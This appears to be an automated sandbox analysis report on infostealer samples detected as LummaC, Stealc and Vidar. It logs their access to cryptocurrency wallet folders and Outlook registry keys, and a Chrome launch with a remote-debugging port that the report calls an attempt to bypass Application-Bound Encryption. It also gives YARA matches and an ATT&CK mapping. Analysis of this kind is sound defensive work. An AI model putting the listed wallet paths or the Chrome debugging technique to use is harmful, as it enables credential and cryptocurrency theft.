Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Directory queried: C:\Users\user\Documents\EEGWXUHVUG	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Directory queried: C:\Users\user\Documents\EOWRVPQCCS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Directory queried: C:\Users\user\Documents\EOWRVPQCCS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Directory queried: C:\Users\user\Documents\IPKGELNTQY	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Directory queried: C:\Users\user\Documents\JDDHMPCDUJ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Directory queried: C:\Users\user\Documents\QCFWYSKMHA	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Directory queried: C:\Users\user\Documents\QNCYCDFIJJ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Directory queried: C:\Users\user\Documents\SFPUSAFIOL	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Directory queried: C:\Users\user\Documents\NWCXBPIUYI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Directory queried: C:\Users\user\Documents\EEGWXUHVUG	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Directory queried: C:\Users\user\Documents\EOWRVPQCCS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Directory queried: C:\Users\user\Documents\IPKGELNTQY	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Directory queried: C:\Users\user\Documents\QCFWYSKMHA	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Directory queried: C:\Users\user\Documents\IPKGELNTQY	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Directory queried: C:\Users\user\Documents\JDDHMPCDUJ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Directory queried: C:\Users\user\Documents\QCFWYSKMHA	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Directory queried: C:\Users\user\Documents\QNCYCDFIJJ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Directory queried: C:\Users\user\Documents\EOWRVPQCCS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Directory queried: C:\Users\user\Documents\EEGWXUHVUG	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Directory queried: C:\Users\user\Documents\JDDHMPCDUJ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Directory queried: C:\Users\user\Documents\SFPUSAFIOL	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Directory queried: C:\Users\user\Documents\EEGWXUHVUG
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Directory queried: C:\Users\user\Documents\EEGWXUHVUG
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Directory queried: C:\Users\user\Documents\EOWRVPQCCS
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Directory queried: C:\Users\user\Documents\EOWRVPQCCS
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Directory queried: C:\Users\user\Documents\IPKGELNTQY
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Directory queried: C:\Users\user\Documents\IPKGELNTQY
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Directory queried: C:\Users\user\Documents\JDDHMPCDUJ
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Directory queried: C:\Users\user\Documents\NWCXBPIUYI
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Directory queried: C:\Users\user\Documents\NWCXBPIUYI
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Directory queried: C:\Users\user\Documents\QCFWYSKMHA
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Directory queried: C:\Users\user\Documents\QCFWYSKMHA
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Directory queried: C:\Users\user\Documents\QNCYCDFIJJ
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Directory queried: C:\Users\user\Documents\QNCYCDFIJJ
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Directory queried: C:\Users\user\Documents\SFPUSAFIOL
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Directory queried: C:\Users\user\Documents\SFPUSAFIOL
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Directory queried: C:\Users\user\Documents\EEGWXUHVUG
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Directory queried: C:\Users\user\Documents\IPKGELNTQY
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Directory queried: C:\Users\user\Documents\NWCXBPIUYI
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Directory queried: C:\Users\user\Documents\QCFWYSKMHA
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Directory queried: C:\Users\user\Documents\QNCYCDFIJJ
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Directory queried: C:\Users\user\Documents\QNCYCDFIJJ
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Directory queried: C:\Users\user\Documents\SFPUSAFIOL
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Directory queried: C:\Users\user\Documents\EEGWXUHVUG
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Directory queried: C:\Users\user\Documents\JDDHMPCDUJ
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Directory queried: C:\Users\user\Documents\JDDHMPCDUJ
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Directory queried: C:\Users\user\Documents\NWCXBPIUYI
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Directory queried: C:\Users\user\Documents\QCFWYSKMHA
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Directory queried: C:\Users\user\Documents\EEGWXUHVUG
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Directory queried: C:\Users\user\Documents\EOWRVPQCCS
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Directory queried: C:\Users\user\Documents\IPKGELNTQY
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Directory queried: C:\Users\user\Documents\IPKGELNTQY
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Directory queried: C:\Users\user\Documents\JDDHMPCDUJ
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Directory queried: C:\Users\user\Documents\JDDHMPCDUJ
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Directory queried: C:\Users\user\Documents\NWCXBPIUYI
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Directory queried: C:\Users\user\Documents\QCFWYSKMHA
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Directory queried: C:\Users\user\Documents\QNCYCDFIJJ
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Directory queried: C:\Users\user\Documents\QNCYCDFIJJ
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Directory queried: C:\Users\user\Documents\EEGWXUHVUG
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Directory queried: C:\Users\user\Documents\EEGWXUHVUG
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Directory queried: C:\Users\user\Documents\EOWRVPQCCS
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Directory queried: C:\Users\user\Documents\EOWRVPQCCS
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Directory queried: C:\Users\user\Documents\IPKGELNTQY
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Directory queried: C:\Users\user\Documents\NWCXBPIUYI
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Directory queried: C:\Users\user\Documents\EEGWXUHVUG
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Directory queried: C:\Users\user\Documents\IPKGELNTQY
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Directory queried: C:\Users\user\Documents\QNCYCDFIJJ
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Directory queried: C:\Users\user\Documents\SFPUSAFIOL

Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe

Directory queried: number of queries: 1817

Source: Yara match	File source: 00000010.00000003.2880163907.0000000000C35000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000003.3038780954.0000000000B19000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000003.2894254815.0000000000C33000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000003.2892935621.0000000000C33000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000027.00000002.3372485323.00000000017D1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000003.3117476776.0000000000B19000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000003.3143240349.0000000000B22000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000003.2878923778.0000000000C35000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000003.2909600994.0000000000C33000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000003.2893604716.0000000000C33000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000003.3143174340.0000000000B19000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000003.3038308600.0000000000B16000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000003.2892687304.0000000000C33000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000003.3117252547.0000000000B18000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000003.2924440913.0000000000C33000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000003.3040588528.0000000000B18000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000003.2892851979.0000000000C33000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 06339d0580.exe PID: 8044, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 2bbe886987.exe PID: 7888, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 06339d0580.exe PID: 4816, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 06339d0580.exe PID: 2476, type: MEMORYSTR

Remote Access Functionality

Attempt to bypass Chrome Application-Bound Encryption

Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe

Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"

Yara detected LummaC Stealer

Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 06339d0580.exe PID: 8044, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 06339d0580.exe PID: 4816, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: Process Memory Space: 06339d0580.exe PID: 2476, type: MEMORYSTR

Yara detected Stealc

Source: Yara match	File source: 24.2.2bbe886987.exe.750000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.06339d0580.exe.56bf179.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.2.06339d0580.exe.5516f91.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.06339d0580.exe.5de0000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.2bbe886987.exe.750000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.2.06339d0580.exe.5bf0000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000010.00000003.3052944187.00000000082F0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.3372681465.000000000149E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.3403739193.0000000005DE1000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000003.3292954731.00000000081B0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000003.2914827071.00000000051B0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000003.3096329749.0000000005190000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.3359791803.0000000000751000.00000040.00000001.01000000.0000000C.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.3359810844.0000000000751000.00000040.00000001.01000000.0000000C.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000002.3395872833.0000000005BF1000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 06339d0580.exe PID: 8044, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 2bbe886987.exe PID: 7888, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 06339d0580.exe PID: 4816, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 2bbe886987.exe PID: 2052, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: 2bbe886987.exe PID: 7888, type: MEMORYSTR

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 15_2_007AEC48 Concurrency::details::ContextBase::TraceContextEvent,Concurrency::details::SchedulerBase::GetInternalContext,Concurrency::details::WorkItem::ResolveToken,Concurrency::details::WorkItem::BindTo,		15_2_007AEC48
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 15_2_007ADF51 Concurrency::details::SchedulerBase::GetInternalContext,Concurrency::details::WorkItem::ResolveToken,Concurrency::details::WorkItem::BindTo,Concurrency::details::SchedulerBase::GetInternalContext,		15_2_007ADF51

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	41 Disable or Modify Tools	2 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	14 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 Scheduled Task/Job	2 Bypass User Account Control	21 Deobfuscate/Decode Files or Information	LSASS Memory	22 File and Directory Discovery	Remote Desktop Protocol	41 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 Command and Scripting Interpreter	11 Registry Run Keys / Startup Folder	112 Process Injection	3 Obfuscated Files or Information	Security Account Manager	246 System Information Discovery	SMB/Windows Admin Shares	1 Email Collection	1 Remote Access Software	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Scheduled Task/Job	Login Hook	1 Scheduled Task/Job	12 Software Packing	NTDS	11 Query Registry	Distributed Component Object Model	Input Capture	4 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	2 PowerShell	Network Logon Script	11 Registry Run Keys / Startup Folder	1 DLL Side-Loading	LSA Secrets	861 Security Software Discovery	SSH	Keylogging	115 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	2 Bypass User Account Control	Cached Domain Credentials	2 Process Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	121 Masquerading	DCSync	361 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	361 Virtualization/Sandbox Evasion	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	112 Process Injection	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file.exe	53%	ReversingLabs	Win32.Infostealer.Tinba
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

